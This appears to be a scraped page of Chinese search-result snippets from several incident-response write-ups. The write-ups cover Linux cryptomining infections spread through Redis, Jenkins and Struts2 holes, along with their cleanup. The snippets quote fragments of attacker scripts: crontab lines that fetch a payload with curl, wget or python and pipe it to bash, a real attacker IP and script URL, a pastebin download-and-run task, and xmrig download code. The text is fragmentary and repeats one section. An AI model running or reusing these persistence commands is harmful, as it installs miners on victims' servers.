查看到父进程是一个/tmp/javax/config.sh, 这个文件在当前系统已经删除了，所以只能按照pid号通过lsof -p PID查看打开的文件句柄 在/proc/PID/fd里面顺利找到执行脚本...grep -v grep | awk ‘{if(3>=80.0) print nohup /tmp/javax/sshd2 &>>/dev/null & else : fi sleep 60 done 从脚本的删除动作来看...，可能是通过redis的漏洞进来的，脚本似乎还想努力不让监控发现 修复方案 时间短，修复不是我来操作的。...初步并没有发现隐藏的激活方式，所以按照上面脚本的内容反向处理一下应该就可以了，注意防范redis的漏洞。
背景 日常应急响应过程中发现的挖矿脚本，对其进行分析发现写的质量该不错，可以学习下 样本分析及学习 SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin...209.141.40.190" fi #写入计划任务： 使用-e参数：激活转义字符 #前三个是吸入系统计划任务 #第四个是写入个人计划任务 #写入计划任务的内容就是以curl、wget、python的urllib2库 来下载挖矿样本到.../tmp/xms，并以bash来执行下载的挖矿样本。...之后再删除下载的挖矿样本/tmp/xms echo -e "*/1 * * * * root (curl -fsSL $url/xms||wget -q -O- $url/xms||python -c...xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms\n##" > /var/spool/cron/crontabs/root #放入etc/cron.hourly的脚本会每小时执行一次
ps -eopcpu,args –sort=%cpu|head 找到飙高的程序是minerd
一.简介 本脚本为公司服务器被挖矿，找到的下载矿机的脚本。但看到这么多行，应该是不止是挖矿，还做了别的事情。分析和学习此类脚本，可以防范和解决部分挖矿问题。 二.脚本内容 #!
事因：阿里突然发短信说我的阿里云服务器上面有挖矿程序！！！！！，顿时一惊，所以登陆到服务器。...1.我用了top命令查看系统目前系统性能 结果发现有个叫-bash的进程占用了99%的资源 2.接下来我用kill -9 21252 然后等一会又发现了这个脚本继续在占用资源，然后百度了下说这个挖矿可能有定时任务.../-bash或者vim — -bash 5.vim — -bash 挖矿里面全是乱码 回头看到 于是 vim run 最后删除udevd文件和run 问题解决 发布者：全栈程序员栈长，转载请注明出处
Linux watchdogs 感染性隐藏挖矿病毒。 网上都在讲watchBog，有什么用，能做什么事，没有特别好的方法去应对变种的挖矿病毒。...我从定时器的地址里面，找出了 python base64 转码的脚本 。解码后，发现了在 shell 脚本中有他们留下的联系方式。...crontab 如下 : 该crontab任务实现从 hxxps://pastebin.com/raw/sByq0rym 下载shell脚本并执行，shell脚本内容为： 使用base64进行转码后...， 可以看到下载执行的脚本文件内容。...经过几天测试，确认了我方感染源为 jenkins ，关闭服务，服务器挖矿病毒终于彻底解除 也有可能会是其他的服务，需要自行确认。
攻击者通过Redis未授权访问，写入定时任务，执行挖矿程序。...发现攻击者使用的脚本http://104.156.239.160:8080/conn.sh 脚本内容如下： #!...tmp/conn /tmp/conn: PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced 首先下载了一个图片，然后通过dd提取出来挖矿程序...[root@server120 tmp]# file /tmp/conns /tmp/conns: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux...这种通过Redis未授权拿服务器挖矿的情况很常见。 处理过程 1)redis增加认证，清空/var/spool/cron/root和authorized_keys。
序 这是第二次遇到该挖矿病毒，网上也有很多大佬对该病毒做过分析，也想过再写可能没有什么意义，最终还是想写一写属于自己的东西，也算是两次相遇的总结。 背景 这次废话不多说，直接上，背景感觉毫无意义。...update.sh脚本分析 通过对程序进行分析，发现该病毒程序同路径下存在update.sh文件（/etc/update.sh），通过对该文件进行分析，发现该文件为挖矿病毒执行的脚本文件，因此对该脚本文件进行分析...，通过对脚本进行分析，可以发现该挖矿病毒主要依赖进程和启动项信息，借此可以对该病毒进行清理。...，对应急不熟悉linux系统命令的小伙伴在对病毒清理时，不知道那些是病毒文件，那些正常文件，对此无从下手。...由于在日常生活中，使用桌面操作较多，因此对命令行使用不熟悉，找不到相关文件，因此对linux系统挖矿病毒清理较为恐惧，希望通过对脚本分析这种方式对刚入门的小伙伴有所帮助。
文章目录 中毒特征磁盘cpu 跑满 100% 如何处理 反复发作 中毒特征磁盘cpu 跑满 100% 如何处理 电脑中了挖矿病毒 ps -aux | grep kinsing root 19447
记一次挖矿程序入侵以及解决实操！ 1，过程记录 系统被挖矿程序入侵，导致系统CPU飙升。kill掉进程后自动重启。...使用crontab -e查看当前系统的定时任务信息，如下： 显示定时从链接中下载文件，于是在浏览器中访问该地址，下载的文件截图如下： 很明显，这是一个恶意脚本，定时检查下载，并杀掉系统其它部分进程。
Linux清理挖矿程序@bug Linux清理挖矿程序 最近服务器经常被挖矿，一些经验 1....找到挖矿程序 挖矿程序跑起来几乎占满了所有的CPU，以及GPU，用watch -n1 nvidia-smi可以实时看到挖矿程序的PID号，此时不能用kill -9 PID号来进行清除，会发现它换一个PID...使用top可以看到挖矿程序进程名字xxx（command一行），ps aux|grep xxx 或者ls -l /proc/{PID号}/exe 找到病毒程序的路径位置 2.
我相信有很多家伙会从这个新闻以及CoffeeMiner工具中得到启发，利用类似的攻击方式开创挖矿事业。...CoinHive 星巴克挖矿事件中所使用的便是CoinHive挖矿程序。Coinhive是一个提供门罗币挖掘JS脚本的网站平台，攻击者会将其提供的脚本植入到自己或入侵的网站上。...比如注册登陆时候的人机验证，就会启动挖矿程序，等待一段时间的挖矿后才能登录。 根据JavaScript Miner的介绍文档，将事例代码放入网站的html中就可以了，部署极其简单。...如此当移动设备连接到该热点，会自动弹窗提示需要认证，点击后就会访问含有挖矿代码的网页了。 考虑到大部分读者并不像我这样富有，同时拥有两块无线网卡！...此时我们便能得出结论，该热点存在着CoinHive挖矿代码。从wlan.sa字段取得该热点MAC地址，再结合Beacon或Probe帧获取其热点名称。
Linux被kdevtmpfsi挖矿病毒入侵 一....错误信息 二.解决问题 1.首先停掉kdevtmpfsi的程序 2.删除Linux下的异常定时任务 3.结束kdevtmpfsi进程及端口占用 4.删除掉kdevtmpfsi的相关文件 三.怎么预防处理这个病毒...1.首先停掉kdevtmpfsi的程序 ps aux 找到kdevtmpfsi的进程 删除掉与kdevtmpfsi相关的进程 kill -9 20267 kill -9 20367 2.删除Linux
发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/149135.html原文链接：https://javaforall.cn
# 通过 cat /etc/crontab 查看到挖矿脚本 #!...-s https://github.com/xmrig/xmrig/releases/latest | grep -o '".*"' | sed 's/"//g'` LATEST_XMRIG_LINUX_RELEASE...=$MOxmrigSTOCK echo "[*] Downloading $LATEST_XMRIG_LINUX_RELEASE to /tmp/xmrig.tar.gz" if !...curl -L --progress-bar $LATEST_XMRIG_LINUX_RELEASE -o /tmp/xmrig.tar.gz; then echo "ERROR: Can't...download $LATEST_XMRIG_LINUX_RELEASE file to /tmp/xmrig.tar.gz" exit 1 fi echo "[*] Unpacking
BusyBox 是一个集成了三百多个最常用Linux命令和工具的软件,里面就有我需要的top命令。...> busybox top image-20210629223207356 终于看到了这个kthreaddi进程,上网一查这个东西叫门罗币挖矿木马,伪装的实现是太好了和系统中的正常进程kthreadd...清理门罗币挖矿木马 常规方式先试试 > kill -9 6282 过一会又起来了,说明有守护进程 检查系统中的定时任务 > crontab -l 0 * * * * /tmp/sXsdc 发现一个这...去内核数据目录找找看 > ls -al ll /proc/6282 6282是刚才那个挖矿进程 image-20210629224536853 原来在 tmp下面有文章 ,但是被 deleted...pid reboot重启 总结 本次服务器被挖矿,有可能是docker没有TLS通讯加密,也有可能是redis的弱密码,被入侵。
BusyBox 是一个集成了三百多个最常用Linux命令和工具的软件,里面就有我需要的top命令。...> busybox top [image-20210629223207356] 终于看到了这个kthreaddi进程,上网一查这个东西叫门罗币挖矿木马,伪装的实现是太好了和系统中的正常进程kthreadd...去内核数据目录找找看 > ls -al ll /proc/6282 6282是刚才那个挖矿进程 [image-20210629224536853] 原来在 tmp下面有文章 ,但是被 deleted...pid reboot重启 总结 本次服务器被挖矿,有可能是docker没有TLS通讯加密,也有可能是redis的弱密码,被入侵。...原文链接:https://rumenz.com/rumenbiji/linux-kthreaddi.html
0x00 前言 随着虚拟货币的疯狂炒作，利用挖矿脚本来实现流量变现，使得挖矿病毒成为不法分子利用最为频繁的攻击方式。...新的挖矿攻击展现出了类似蠕虫的行为，并结合了高级攻击技术，以增加对目标服务器感染的成功率，通过利用永恒之蓝（EternalBlue）、web攻击多种漏洞（如Tomcat弱口令攻击、Weblogic WLS...组件漏洞、Jboss反序列化漏洞、Struts2远程命令执行等），导致大量服务器被感染挖矿程序的现象 。...下载logo.jpg，包含脚本内容如下： ? 到这里，我们可以发现攻击者下载logo.jpg并执行了里面了shell脚本，那这个脚本是如何启动的呢？...(#ros.flush())} 可以发现攻击代码中的操作与定时任务中异常脚本一致，据此推断黑客通过Struct 远程命令执行漏洞向服务器定时任务中写入恶意脚本并执行。
本文转载自不正经程序员 温馨提示：本文中出现的命令和脚本，不要在自家服务器上随便运行，除非你知道自己在做什么。 挖矿是把机器当作奴隶，一刻不停歇的去计算、运转，本质上是个无用的工作。...我们只看挖矿脚本是怎么部署到你的机器上的。 在java中，当然要调用它的Runtime类库，如果你的应用程序是运行在root用户的，那它什么事情都能干。...*'|sed 's/://g')|sha256sum|awk '{print $1}'` dmidecode命令，可以获取linux硬件相关的信息，会输出非常多的内容。...真正的脚本是什么？ $RANDOM环境变量，是个神奇的环境变量。直接输出的话，将会得到一个随机值。cron脚本周期性的拉取最新的脚本执行，把真正的挖矿程序部署起来。...xr程序才是挖矿的主要程序，其他的脚本，都是辅助它来运行的。下面是最主要的运行逻辑。 if [ !
BusyBox 是一个集成了三百多个最常用Linux命令和工具的软件,里面就有我需要的top命令。...> busybox top 图片 终于看到了这个kthreaddi进程,上网一查这个东西叫门罗币挖矿木马,伪装的实现是太好了和系统中的正常进程kthreadd太像了。...去内核数据目录找找看 > ls -al ll /proc/6282 6282是刚才那个挖矿进程 图片 原来在 tmp下面有文章 ,但是被 deleted,不管先去看看 > /tmp/.dHyUxCd...本次服务器被挖矿,有可能是docker没有TLS通讯加密,也有可能是redis的弱密码,被入侵。...原文链接:https://rumenz.com/rumenbiji/linux-kthreaddi.html
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
即时通信 IM
ICP备案
对象存储
实时音视频
